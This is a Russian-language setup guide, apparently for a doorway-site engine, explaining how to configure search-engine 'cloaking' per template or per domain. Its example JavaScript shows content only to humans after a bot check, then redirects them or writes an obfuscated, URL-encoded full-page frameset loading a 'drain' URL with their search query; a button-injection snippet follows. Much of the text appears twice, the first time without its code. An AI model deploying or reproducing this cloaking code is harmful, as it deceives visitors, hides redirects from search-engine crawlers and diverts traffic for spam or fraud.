Настройка клоакинга
Поставьте в настройках модуля (/admin/modules - Статистика посещений) галочку:
Далее выберите для себя один из вариантов:
Вариант 1. Один код клоакинга для всех доменов:
Если после включения галочки больше ничего не делать, то клоакинг будет срабатывать на всех доменах согласно коду в файле public/view/stats/cloaking.js.
Вариант 2. Свой код клоакинга для разных шаблонов:
1. создать в папке с шаблоном файл cloaking.js и прописать в нем код клоакинга (см. ниже);
2. в файле public/view/stats/cloaking.js заменить весь код на:
Вариант 3. Свой код клоакинга для разных доменов:
1. создать в папке с шаблоном файл domain.ru.js и прописать в нем код клоакинга (см. ниже);
2. в файле public/view/stats/cloaking.js заменить весь код на:
Пример кода клоакинга, который сработает для юзеров:
Клоакинг работает только при включенном модуле статистики, а также если в шаблоне прописан код статистики из файла example/stats.tpl
Можно просто скопировать stats.tpl в свой шаблон и подключить его точно также, как в шаблоне example, сразу после тега <body>.
PS. Чтобы добавить кнопку (или любой контент) только для юзеров, в шаблоне, в том месте где должна быть кнопка, прописать:
Далее выберите для себя один из вариантов:
Вариант 1. Один код клоакинга для всех доменов:
Если после включения галочки больше ничего не делать, то клоакинг будет срабатывать на всех доменах согласно коду в файле public/view/stats/cloaking.js.
Вариант 2. Свой код клоакинга для разных шаблонов:
1. создать в папке с шаблоном файл cloaking.js и прописать в нем код клоакинга (см. ниже);
2. в файле public/view/stats/cloaking.js заменить весь код на:
<?php
if (is_file($cloaking=$f3->get('UI').'cloaking.js')) include $cloaking;
?>
Вариант 3. Свой код клоакинга для разных доменов:
1. создать в папке с шаблоном файл domain.ru.js и прописать в нем код клоакинга (см. ниже);
2. в файле public/view/stats/cloaking.js заменить весь код на:
<?php
if (is_file($cloaking=$f3->get('UI').$f3->get('BASE_DOMAIN').'.js')) include $cloaking;
?>
Пример кода клоакинга, который сработает для юзеров:
/* * комментариев не будет видно в скрипте * в этом файле можно разместить js-код фрейма, редиректа или что-то на ваше усмотрение * код можно изменить в любое время * он сработает для юзеров только после проверки на человечность * для ботов код из этого файла выводиться не будет * - в переменной query хранится кейворд текущей страницы * - в переменной squery хранится текущий поисковый запрос (если он определен) * - в переменной document.title хранится текущий тайтл страницы * - в переменной ismobile: 1 - мобильный, 0 - нет * можно использовать <?php ?> */ // если поисковик передал поисковый запрос юзера, то запишем его в переменную query query = squery ? squery : query, u = "https://www.google.ru/search?q="+query, // урл слива r = 0; // 0 - фрейм, 1 - редирект r?document.location.href=u:document.write(unescape('%3Ctitle%3E'+document.title+'%3C/title%3E%3Cframeset%20rows%3D%22*%2C0%22%20framespacing%3D%220%22%20border%3D%220%22%20frameborder%3D%22no%22%3E%3Cframe%20onload%3D%22setTimeout%28function%28%29%20%7Bwindow.stop%28%29%3Bif%20%28window.ActiveXObject%29%20document.execCommand%28%27Stop%27%29%3B%7D%2C1000%29%22%20src%3D%22'+u+'%22%20noresize%3D%22%22%20scrolling%3D%22auto%22%3E%3C/frameset%3E')); /* код ниже сработает при движении мыши document.getElementsByTagName("body")[0].onmousemove = function () { // здесь код... } */
Клоакинг работает только при включенном модуле статистики, а также если в шаблоне прописан код статистики из файла example/stats.tpl
Можно просто скопировать stats.tpl в свой шаблон и подключить его точно также, как в шаблоне example, сразу после тега <body>.
PS. Чтобы добавить кнопку (или любой контент) только для юзеров, в шаблоне, в том месте где должна быть кнопка, прописать:
<div id="myButton"></div>а в cloaking.js прописать код самой кнопки на JavaScript:
document.getElementById('myButton').innerHTML+='<a href="http://site.ru/?parameter='+query+'">Кнопка</a>';